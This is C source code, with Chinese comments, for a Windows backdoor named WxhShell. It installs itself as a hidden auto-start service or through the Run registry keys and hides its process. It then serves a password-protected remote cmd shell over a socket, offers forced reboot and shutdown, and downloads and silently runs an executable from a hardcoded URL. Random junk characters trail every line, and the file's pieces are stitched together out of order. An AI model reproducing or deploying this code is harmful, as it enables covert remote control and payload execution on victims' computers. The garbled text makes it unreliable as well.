    if(Boot(SHUTDOWN)) [L(qrAQ2|z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wB'GV1|jL  
    else { 'rl?'~={p  
    closesocket(wsh); e\)r"!?H`  
    ExitThread(0); -A1@a= q  
    } aN UU' [  
    break; 8/gA]I 6=#  
    } AdU0 sZ+&c  
  // 获取shell _"l2UDx  
  case 's': { f^Io:V\  
    CmdShell(wsh); t9l]ie{"o.  
    closesocket(wsh); $Iz*W]B!  
    ExitThread(0); VcX89c4\  
    break; @3*S:;x  
  } -qyhg-k6  
  // 退出 G'#Uzwo  
  case 'x': { db*yA@2Lg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U\y:\+e l  
    CloseIt(wsh); ly9tI-E  
    break; ;}B6`v  
    } e92,@  
  // 离开 NdxPC~Z+  
  case 'q': { 6K7DZ96L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); unvS`>)Np  
    closesocket(wsh); >p*7)  
    WSACleanup(); @js`$  
    exit(1); .D3k(zZ  
    break; '><I|c}  
        } DMdVE P"m  
  } h~`^H9?M  
  } kY?w] lS)t  
>Py :9~g,  
  // 提示信息 4++ &P9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tNvjwgV\  
} dkWV/DAm  
  } |1%eo.  
&v)/mc7D  
  return; u~8=ik n+T  
} %p;;aZG  
`eEiSf  
// shell模块句柄 w!_6*  
int CmdShell(SOCKET sock) ;UpdkY 1  
{ u u$Jwn!S  
STARTUPINFO si; Yr)<1.K4,M  
ZeroMemory(&si,sizeof(si)); <sTY<iVR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7S/\;DF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yz7Fe  
PROCESS_INFORMATION ProcessInfo; 7u`:e,'  
char cmdline[]="cmd"; Og-v][  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oL U!x  
  return 0; hsAk7KC  
} sa?s[  
.^xQtnq  
// 自身启动模式 0e +Qn&$#4  
int StartFromService(void) y9Pw'4R  
{ #EA` |  
typedef struct a9_KoOa.H  
{ 1lYQR`Uh  
  DWORD ExitStatus; L[voouaqm  
  DWORD PebBaseAddress; \MDhm,H<  
  DWORD AffinityMask; K%.t%)A_3  
  DWORD BasePriority; }ijFvIHV  
  ULONG UniqueProcessId; rL,kDSLs  
  ULONG InheritedFromUniqueProcessId;  )mH(Hx  
}   PROCESS_BASIC_INFORMATION; 'YB{W8bR  
|R;`  
PROCNTQSIP NtQueryInformationProcess; m1D,#=C,_  
8b"vXNB.f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ':|E$@$W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,`!>.E.  
\E1CQP-  
  HANDLE             hProcess; =F% <W7  
  PROCESS_BASIC_INFORMATION pbi; 1* ?XI  
~^/BAc  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KBDNK_7A  
  if(NULL == hInst ) return 0; &})Zqc3Lqk  
Tmk'rOg5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 9^CuSj  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5mX"0a_Q  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T"DG$R,Aj  
$\#wsI(  
  if (!NtQueryInformationProcess) return 0; =5O&4G`}  
DfjDw/{U3L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s54AM]a{j  
  if(!hProcess) return 0; bg2r  
JMfv|>=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0HI0/Tvu$<  
W[LQ$uj  
  CloseHandle(hProcess); *QT7\ht3  
t(99m=9>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 19bqz )  
if(hProcess==NULL) return 0; by$S#e f  
S;SI#Vg@  
HMODULE hMod; !KtP> `8  
char procName[255]; a+B3`6  
unsigned long cbNeeded; xB_7 8X1  
S]ed96V v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )0\D1IFJ  
*-3*51 jW  
  CloseHandle(hProcess); '#Q\p6G&_  
WtlLqD!_D  
if(strstr(procName,"services")) return 1; // 以服务启动 &x3R+(H {  
1QbD]"=n  
  return 0; // 注册表启动 NftR2  
} %~\I*v04  
<Q8d{--o  
// 主模块 #iT3 aou  
int StartWxhshell(LPSTR lpCmdLine) }}LjEOvL=  
{ CpU y~  
  SOCKET wsl; $'w>doUlA  
BOOL val=TRUE; ;y;UgwAM  
  int port=0; M1eM^m8U  
  struct sockaddr_in door; :m0 pm@  
R=C+]  
  if(wscfg.ws_autoins) Install(); "d*-k R  
=.IAd< C  
port=atoi(lpCmdLine); )%q )!x  
{3BWT  
if(port<=0) port=wscfg.ws_port; 6n^vG/.M  
dW%;Z  
  WSADATA data; E8.1jCL>{"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o;v_vCLO  
fS4 Ru  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EdCcnl?R6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SpM Hq_MLM  
  door.sin_family = AF_INET; 36d6KS 7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yW;]J8 7*  
  door.sin_port = htons(port); lrmz'M'  
,[u.5vC  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lGEfI&1%!  
closesocket(wsl); 17lc5#^L  
return 1; Aj+0R?9tG  
} : n\D  
5ZjM:wrF|  
  if(listen(wsl,2) == INVALID_SOCKET) { RCMO?CBe  
closesocket(wsl); ,ysn7Y{Y  
return 1; oYX#VX  
} 7Pr5`#x#  
  Wxhshell(wsl); :+ AqY(Gz  
  WSACleanup(); ~Dj_N$_+9  
Lmc"q FzK  
return 0; tj:>o#D  
O*1la/~m  
} u:>*~$f   
t7/a5x  
// 以NT服务方式启动 ~t^'4"K*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y<)q;fI7  
{ )C>M74Bt  
DWORD   status = 0; b\+9#)Up@  
  DWORD   specificError = 0xfffffff; `3vt.b  
b@[\+P] "  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?r R, h{~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; H?j}!JzAC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -l$-\(,M`#  
  serviceStatus.dwWin32ExitCode     = 0; ;CA7\&L>  
  serviceStatus.dwServiceSpecificExitCode = 0; nn/_>%Y  
  serviceStatus.dwCheckPoint       = 0; <a=k"'0  
  serviceStatus.dwWaitHint       = 0; ig?Tj4kD  
okD7!)cr=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !qJ|`o Y  
  if (hServiceStatusHandle==0) return; #po}Y  
=mh)b]].4\  
status = GetLastError(); 6}q# c  
  if (status!=NO_ERROR) $1myf Z  
{ I< Rai"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y_Nn%(j  
    serviceStatus.dwCheckPoint       = 0; +WSM<S2 U  
    serviceStatus.dwWaitHint       = 0; yQ+C}8r5  
    serviceStatus.dwWin32ExitCode     = status; lR3JyYY{X  
    serviceStatus.dwServiceSpecificExitCode = specificError; J,^eq@(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6n'XRfQp)&  
    return; vLh,dzuo  
  } G `JXi/#`  
2_;3B4GDF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .8Gmy07  
  serviceStatus.dwCheckPoint       = 0; /qO?)p3gk  
  serviceStatus.dwWaitHint       = 0; EXT_x q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +#g?rCz  
} &;oWmmvz{  
[X=Ot#?u ~  
// 处理NT服务事件,比如:启动、停止 {1]Of'x'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }P"JP[#E\  
{ df!n.&\y!  
switch(fdwControl) X" ;ly0Mb  
{ 44_CT?t<  
case SERVICE_CONTROL_STOP: .p(~/MnO  
  serviceStatus.dwWin32ExitCode = 0; =j!Ruy1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .{LJ  
  serviceStatus.dwCheckPoint   = 0; LxxFosi8  
  serviceStatus.dwWaitHint     = 0; j!QP>AM|`  
  { vq*)2.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }_o!f V  
  } `K \(I#z  
  return; H He~OxWg  
case SERVICE_CONTROL_PAUSE: @|J+ f5O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DmgWIede|:  
  break; 7I<];j  
case SERVICE_CONTROL_CONTINUE: F#$[jh$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ejC== Fkc  
  break; X8=s k  
case SERVICE_CONTROL_INTERROGATE: i3 n0W1~  
  break; 2j7e@pr  
}; qlfYX8edZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XxEKv=_bc  
} LVp*YOq7  
]Vgl  
// 标准应用程序主函数 do(komP<\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \~bE|jWbj  
{ /=2  
Qd$!?h  
// 获取操作系统版本 j{u! /FD  
OsIsNt=GetOsVer(); 1?bX$$y l;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :$>TeCm  
Rw\S-z/  
  // 从命令行安装 M/mUY  
  if(strpbrk(lpCmdLine,"iI")) Install(); P(&9S`I  
@q]{s+#Xf  
  // 下载执行文件 T'nQj<dBt:  
if(wscfg.ws_downexe) { naoH685R4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qs.g%  
  WinExec(wscfg.ws_filenam,SW_HIDE); DEkFmmw   
} pn6!QpV5  
~wsD g[  
if(!OsIsNt) { P2;I0 !  
// 如果时win9x,隐藏进程并且设置为注册表启动 A 9HJWKO  
HideProc(); 7I_lTu(  
StartWxhshell(lpCmdLine); Y l1sAf/  
} RxVf:h'l  
else vS|uN(a.P  
  if(StartFromService()) `* =Tf  
  // 以服务方式启动 kM T73OI>_  
  StartServiceCtrlDispatcher(DispatchTable); -] .Y";  
else `+/xA\X]  
  // 普通方式启动 Ge]2g0  
  StartWxhshell(lpCmdLine); -5 YvtL  
) b vZ~t+^  
return 0; v"&Fj  
} E)dV;1t  
Y|iJO>_Uu=  
DdL0MGwX  
RjS&^u aP  
=========================================== n(#159pZ  
4^0L2BVcv  
G.} 3hd0  
er?'o1M  
d8? }69:h  
1&@s2ee4   
" 6KD  
jWd 7>1R?  
#include <stdio.h> L27i_4E,  
#include <string.h> "38ya2*  
#include <windows.h> HV??B :  
#include <winsock2.h> `%x6;Ha  
#include <winsvc.h> :+SpZ>  
#include <urlmon.h> 8U07]=Bt<  
/ 1jb8w'  
#pragma comment (lib, "Ws2_32.lib") u8Au `  
#pragma comment (lib, "urlmon.lib") idf~"a  
#Pz},!7  
#define MAX_USER   100 // 最大客户端连接数 iraO/KhD*3  
#define BUF_SOCK   200 // sock buffer Et=N`k _gO  
#define KEY_BUFF   255 // 输入 buffer 1YA_`_@w  
VR/>V7*7@  
#define REBOOT     0   // 重启 J['paHSF  
#define SHUTDOWN   1   // 关机 &\$l%icuo  
&r6VF/  
#define DEF_PORT   5000 // 监听端口 ~(xIG  
c D+IMlT  
#define REG_LEN     16   // 注册表键长度 Mlp[xk|  
#define SVC_LEN     80   // NT服务名长度 '[fo  
VR>;{>~  
// 从dll定义API fL8+J]6A6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p*rBT,'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); AWP CJmr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vmW4 3K;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h,q%MZ==^s  
L_.BcRy  
// wxhshell配置信息 9IKFrCO9,  
struct WSCFG { VN[h0+n4Th  
  int ws_port;         // 监听端口 /! kKL$j  
  char ws_passstr[REG_LEN]; // 口令 g(\FG  
  int ws_autoins;       // 安装标记, 1=yes 0=no i!jZZj-{  
  char ws_regname[REG_LEN]; // 注册表键名 k=<,A'y-/  
  char ws_svcname[REG_LEN]; // 服务名 \d0R&vFHQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z~t OR{q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zQ$*!1FmN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [e )j,Q1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wwS{V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;/W;M> ^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (63_  
FLO#!G  
}; )k0P' zGb  
*f:^6h  
// default Wxhshell configuration bmotR8d  
struct WSCFG wscfg={DEF_PORT, &UUIiQm~  
    "xuhuanlingzhe", CUT D]:\  
    1, "SyAOOZ  
    "Wxhshell", cjU*  
    "Wxhshell", c<j2wKz  
            "WxhShell Service", bIP{DxKS  
    "Wrsky Windows CmdShell Service", VpJ/M(UD-  
    "Please Input Your Password: ", ln7{c #lE  
  1, @8TD^ub  
  "http://www.wrsky.com/wxhshell.exe", /'IOi`d  
  "Wxhshell.exe"  UfEF>@0  
    }; I=wP"(2  
kScq#<Y&  
// 消息定义模块 #J]u3*T n|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]&1Kz 2/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3~\mP\/4v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r>S?,qr  
char *msg_ws_ext="\n\rExit."; K vC`6  
char *msg_ws_end="\n\rQuit."; A('=P}I^  
char *msg_ws_boot="\n\rReboot..."; FW:x XK  
char *msg_ws_poff="\n\rShutdown..."; T=}(S4n#BX  
char *msg_ws_down="\n\rSave to "; |b{XnD_g  
Au$|@  
char *msg_ws_err="\n\rErr!"; Ql> DS~a  
char *msg_ws_ok="\n\rOK!"; bR@ e6.<i  
.Y!*6I  
char ExeFile[MAX_PATH]; +$_W4lf|E2  
int nUser = 0; -$L53i&R  
HANDLE handles[MAX_USER]; <k'=_mC_  
int OsIsNt; +qe!KPk2  
sTO*  
SERVICE_STATUS       serviceStatus; Lc6Wj'G G  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xR2E? 0T  
a&~d,vC  
// 函数声明 T9\wkb.  
int Install(void); \X5{>nNh  
int Uninstall(void); bort2k  
int DownloadFile(char *sURL, SOCKET wsh); jQzq(oDQw  
int Boot(int flag); rl9YB %P  
void HideProc(void); DPJ#Y -0  
int GetOsVer(void); M"2Tuwz  
int Wxhshell(SOCKET wsl); ~k?7XF I  
void TalkWithClient(void *cs); L,| 60*  
int CmdShell(SOCKET sock); u-3A6Q  
int StartFromService(void); }s=D,_}m  
int StartWxhshell(LPSTR lpCmdLine); bE.,)GY  
NyI0 []z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j`A%(()d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s<[%7 6Y!  
(,`ypD+3q  
// 数据结构和表定义 4mJ4)  
SERVICE_TABLE_ENTRY DispatchTable[] = ~`c?&YixU  
{ +~\1Zgw  
{wscfg.ws_svcname, NTServiceMain}, Ln0rm9FV-  
{NULL, NULL} V& <vRIsN  
}; ^$SI5WK&)  
* VH!<k[n  
// 自我安装 zME75;{  
int Install(void) .v%H%z~Rl#  
{ sPn[FuT>+s  
  char svExeFile[MAX_PATH]; EA9`-xs|  
  HKEY key; g4(B=G\j  
  strcpy(svExeFile,ExeFile); L8N`<a5T  
6+(g4MW  
// 如果是win9x系统,修改注册表设为自启动 ulV)X/]1  
if(!OsIsNt) { x):cirwkl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W}bed],l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vm6G5QwM  
  RegCloseKey(key); H#x=eDU|k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Q<c Y<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7OX5"u!2  
  RegCloseKey(key); PI(;t9]b  
  return 0; qz"di~7  
    } X[:Hp`_$  
  } .w\AyXp  
} +0\BI<aG  
else { ]7n+|@3x  
DVt;I$  
// 如果是NT以上系统,安装为系统服务 +uKh]RP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); vO!p8r F  
if (schSCManager!=0) Aa-L<wZVPt  
{ fOCLN$x^  
  SC_HANDLE schService = CreateService ;@GlJ '$;  
  ( yB\}e'J^  
  schSCManager, N|5J-fR&  
  wscfg.ws_svcname, H=[eO  
  wscfg.ws_svcdisp, #z_lBg. K  
  SERVICE_ALL_ACCESS, >&3M #s(w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T1jAY^^I  
  SERVICE_AUTO_START, m07= _4  
  SERVICE_ERROR_NORMAL, yKF"\^`@  
  svExeFile, Yo3my>N&g  
  NULL, Cqy84!Z<  
  NULL, ms8de>A|H  
  NULL, NrT!&>M  
  NULL, &p=Uus  
  NULL QNn\wz_)  
  ); /"?yB$s  
  if (schService!=0) E}Q'Wz|k  
  { Z .VIb|  
  CloseServiceHandle(schService); p/L|;c  
  CloseServiceHandle(schSCManager); ?U.+SQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G#-t&gO3  
  strcat(svExeFile,wscfg.ws_svcname); }Tf~)x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0>Iy`>]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G vMhgG=D  
  RegCloseKey(key); F7lhLly  
  return 0; + X(@o  
    } U/9xO"b{.  
  } 68JYA?  
  CloseServiceHandle(schSCManager); Bee`Pp2  
} gKoB)n<[  
} O4J <u-E$  
"vI:B}  
return 1; m/uBM6SXx  
} >J!4x(;Yh  
7p*PDoM6`  
// 自我卸载 .1<QB{4~v  
int Uninstall(void) P}hHx<L  
{ t=o2:p6&  
  HKEY key; l Os91+.%  
/ r6^]grg  
if(!OsIsNt) { #&<>|m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <y[LdB/a  
  RegDeleteValue(key,wscfg.ws_regname); 4\ R2\  
  RegCloseKey(key); -l)vl<}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TtTp ,If  
  RegDeleteValue(key,wscfg.ws_regname); 4H'\nsM  
  RegCloseKey(key); x9Um4!/t  
  return 0; l#u$w&  
  } xa#;<8 iV  
} EYWRTh  
} y,'M3GGl  
else { `L# pN5  
KBJ%$OQV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $P'Y  
if (schSCManager!=0) |8^53*f ?  
{ 2GeJ\1k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); art L  
  if (schService!=0) L kYcAY$w  
  { |j:"n3~6  
  if(DeleteService(schService)!=0) { D! TFb E  
  CloseServiceHandle(schService); ramYSX@  
  CloseServiceHandle(schSCManager); M ,!Dhuas  
  return 0; 7L3:d7=MIW  
  } ]e`&py E  
  CloseServiceHandle(schService); C#<b7iMg  
  } 8Ld{Xg  
  CloseServiceHandle(schSCManager); SQ&nQzL  
} A$d)xq-]K  
} &%eWCe+ +  
@GTkS!86  
return 1; +I~`Ob  
} Lv;% z  
b)ytm=7ha  
// 从指定url下载文件 ^#-d^ )f;  
int DownloadFile(char *sURL, SOCKET wsh) *UL++/f  
{ _v=S4A#tF  
  HRESULT hr; k*XI/k5Vc  
char seps[]= "/"; b,C2(?hg  
char *token; v *'anw&Z  
char *file; aia`mO]  
char myURL[MAX_PATH]; /`6Y-8e2  
char myFILE[MAX_PATH]; u NmbR8Mx  
Ub[SUeBGH  
strcpy(myURL,sURL); !@>_5p>q*  
  token=strtok(myURL,seps); Vx'82CIC  
  while(token!=NULL) :\hcl&W:  
  { j'L/eps?S  
    file=token; ]k+XL*]'A  
  token=strtok(NULL,seps); S+wy^x@@  
  } `Xs3^FJt  
a ]~Rp  
GetCurrentDirectory(MAX_PATH,myFILE); ]'IZbx:  
strcat(myFILE, "\\"); bsCl w  
strcat(myFILE, file); 287g 5  
  send(wsh,myFILE,strlen(myFILE),0);  SXqWq  
send(wsh,"...",3,0); FR*CiaD1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &~4;HjS  
  if(hr==S_OK) }+mIP:T  
return 0; r_R( kns  
else xA7>";sla[  
return 1; (U_`Q1Jo  
vbA<=V*P  
} Kd='l~rby  
JRgrg &#  
// 系统电源模块 |)TI&T;k  
int Boot(int flag) "Yp:{e  
{ f%,Vplb  
  HANDLE hToken; %<dvdIB  
  TOKEN_PRIVILEGES tkp; TEJn;D<1I,  
2uSXC*Phz  
  if(OsIsNt) { c/Dk*.xy<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O$eNG$7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); \_v jc]?  
    tkp.PrivilegeCount = 1; L<D<3g|4  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8NF93tqD6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7C;oMh5  
if(flag==REBOOT) { @ra^0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1>yh`Bp\=  
  return 0; zG\& ZU  
} 5S9i>B  
else { kh4., \'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e:9s%|]T  
  return 0; fk*I}pDx  
} KIRCye  
  } H|\@[:A+  
  else { 9-/u _$  
if(flag==REBOOT) { eW<|I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SAVA6 64  
  return 0; k3PFCl~e  
} EjA3hHJ  
else { F>F2Yql&W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) C(%b!Q,2  
  return 0; H^3f!\MC;o  
} 60\`TsFobT  
} PEr &|H2  
r5,V-5b  
return 1; ohJo1}{  
} a Fh9B\n  
y:HH@aa)  
// win9x进程隐藏模块 Sj'Iz #  
void HideProc(void) d6+$[4w  
{ @D[tljc^  
v:F_! Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AAXlBY6Y-  
  if ( hKernel != NULL ) fzdWM:g  
  { ]Y3NmL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 11^.oa+`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H*H~~yQ  
    FreeLibrary(hKernel); ;!hwcOkX  
  } u<['9U  
" "@kBY1C  
return; En9>onJ  
} `VrQ? s  
O7"16~ a  
// 获取操作系统版本 56?RFnZ&j  
int GetOsVer(void) %f?Z/Wn  
{ fsjCu!  
  OSVERSIONINFO winfo; y9Q #%a8V  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g:fkM{"{  
  GetVersionEx(&winfo); nl-y0xD9c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <*Gd0 v%  
  return 1; a$=He   
  else ^qY?x7mx1  
  return 0; eH_< <Xh!v  
} XfQK kol  
J))U YJO  
// 客户端句柄模块 fi~jT"_CI  
int Wxhshell(SOCKET wsl) ,W|cyQ  
{ $L4h'(s  
  SOCKET wsh; rT|wZz9$@  
  struct sockaddr_in client; ?CD[jX}!  
  DWORD myID; h'nXV{N0  
8B`w!@hf  
  while(nUser<MAX_USER) Fhrj$  
{ &J\<"3  
  int nSize=sizeof(client); FeT| Fh:L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M <nH  
  if(wsh==INVALID_SOCKET) return 1; `%/w0,0  
G,}"}v:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y 8n*o3jM  
if(handles[nUser]==0) 9i46u20  
  closesocket(wsh); @~QI3)=s  
else ?j;,:n   
  nUser++; ~f:"Q(f+  
  } MW2{w<-]7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `F$lO2#k  
BR-4L2[  
  return 0; udOdXz6K?  
} 7O-fc1OTv  
P~*'/!@  
// 关闭 socket a$5P\_  
void CloseIt(SOCKET wsh) ?J@P0(M#  
{ 7Ucq(,\./  
closesocket(wsh); &Nw[J5-"k  
nUser--; +O)Y7k{?C5  
ExitThread(0); u[HamGxx$u  
} 0V ZC7@  
4(dgunP  
// 客户端请求句柄 mpNS}n6  
void TalkWithClient(void *cs) ] T<#bNK\1  
{ |va^lT  
7Bym?  
  SOCKET wsh=(SOCKET)cs; 6~-,.{Y  
  char pwd[SVC_LEN]; 5.LfN{gE)  
  char cmd[KEY_BUFF]; +1]A$|qyW  
char chr[1]; f28bBuv1?  
int i,j; +!K*FU=).  
u}.mJDL  
  while (nUser < MAX_USER) { >QdT 7gB  
!;UoZ~  
if(wscfg.ws_passstr) { YrsE 88QqI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q?qH7={,eu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qb5@e#  
  //ZeroMemory(pwd,KEY_BUFF); "vX\Q rL  
      i=0; ^ X-6j[".  
  while(i<SVC_LEN) { P  Ij  
?vfZ>7Q  
  // 设置超时 uD?Rs`  
  fd_set FdRead; _3IRj=Cs  
  struct timeval TimeOut; w6h*dh$w  
  FD_ZERO(&FdRead); :'FCeS9  
  FD_SET(wsh,&FdRead); DP-0,Gt&Xj  
  TimeOut.tv_sec=8; )b1X6w[  
  TimeOut.tv_usec=0; J$U_/b.mk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )nGH$Mu  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KE6 XNG3  
} ,@ex  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fDRG+/q(+  
  pwd=chr[0]; nkzH}F=<  
  if(chr[0]==0xd || chr[0]==0xa) { Qff.QI,  
  pwd=0; Yd(<;JKF[  
  break; CQPq5/@Y4  
  } X}wo$t  
  i++; 4y.qtiIP>$  
    } &smZ;yb|'h  
!4T!@"#  
  // 如果是非法用户,关闭 socket m8V}E& 6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?AH B\S  
} 91-[[<  
4hxa|f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iuA_ Jr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <I#M^}`  
+`iJ+  
while(1) { H>Ucmd;ay  
dUUg}/  
  ZeroMemory(cmd,KEY_BUFF); ' &3,qT  
wD:2sri  
      // 自动支持客户端 telnet标准   :cf#Tpq"  
  j=0; r@}8TE*|P  
  while(j<KEY_BUFF) { FU(2,Vl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gLRDd~H  
  cmd[j]=chr[0]; Omi/sKFMi  
  if(chr[0]==0xa || chr[0]==0xd) { M!D6i5k,   
  cmd[j]=0; gWL`J=DiU  
  break; :G#+ 5 }  
  } cvQAo|  
  j++; i{16&4 '  
    } UmArl)R/  
,"F0#5  
  // 下载文件 =kf"%vFV  
  if(strstr(cmd,"http://")) { |MOz> 1<a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ddN G :  
  if(DownloadFile(cmd,wsh)) :>/6:c?atG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CYlS8j  
  else -$X4RS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z4~p(tl  
  } 'tDUPm38  
  else { _''un3eCY  
`H 'wz7  
    switch(cmd[0]) { ^KnK \  
  BOh^oQh  
